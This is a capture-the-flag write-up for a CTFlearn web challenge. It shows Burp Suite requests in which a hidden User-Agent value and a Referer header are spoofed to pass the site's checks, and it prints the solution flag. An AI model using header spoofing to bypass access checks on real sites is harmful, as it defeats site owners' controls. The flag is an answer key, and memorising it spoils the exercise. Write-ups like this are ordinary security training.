CTF LEARN: DON'T BUMP YOUR HEAD(ER)

1. Story:

Try to bypass my security measures on this site!

http://165.227.106.113/header.php

2. Website View:

When you first visit the website, you see this message

Sorry, it seems as if your user agent is not correct, in order to access this website.

The one you supplied is: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

3. Solution

Open your Burp Suite and intercept the request

```
GET /header.php HTTP/1.1
Host: 165.227.106.113
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp
,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close


```

If you see the response, it shows you what to write in the User-Agent in order to continue to the website

```
HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 06 Nov 2023 21:45:59 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.22
Content-Length: 255

Sorry, it seems as if your user agent is not correct, in order to access
this website. The one you supplied is: Mozilla/5.0 (Windows NT 10.0; Win64;
 x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63
Safari/537.36
<!-- Sup3rS3cr3tAg3nt -->

```

Change the User-Agent to Sup3rS3cr3tAg3nt then send the request again it will show you this message

```
HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 06 Nov 2023 21:46:57 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.22
Content-Length: 106

Sorry, it seems as if you did not just come from the site,
"awesomesauce.com".
<!-- Sup3rS3cr3tAg3nt  -->
```

This message tells you that you need to be referred from the given website to access the page

So add a referrer header with the awesomesauce.com value and send the request again

```
GET /header.php HTTP/1.1
Host: 165.227.106.113
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Sup3rS3cr3tAg3nt
Referer: awesomesauce.com
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp
,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close


```

After sending the request a message is shown in the response

```
HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 06 Nov 2023 21:49:07 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.22
Content-Length: 81

Here is your flag: flag{did_this_m3ss_with_y0ur_h34d}
<!-- Sup3rS3cr3tAg3nt  -->
```

The Flag is **flag{did_this_m3ss_with_y0ur_h34d}**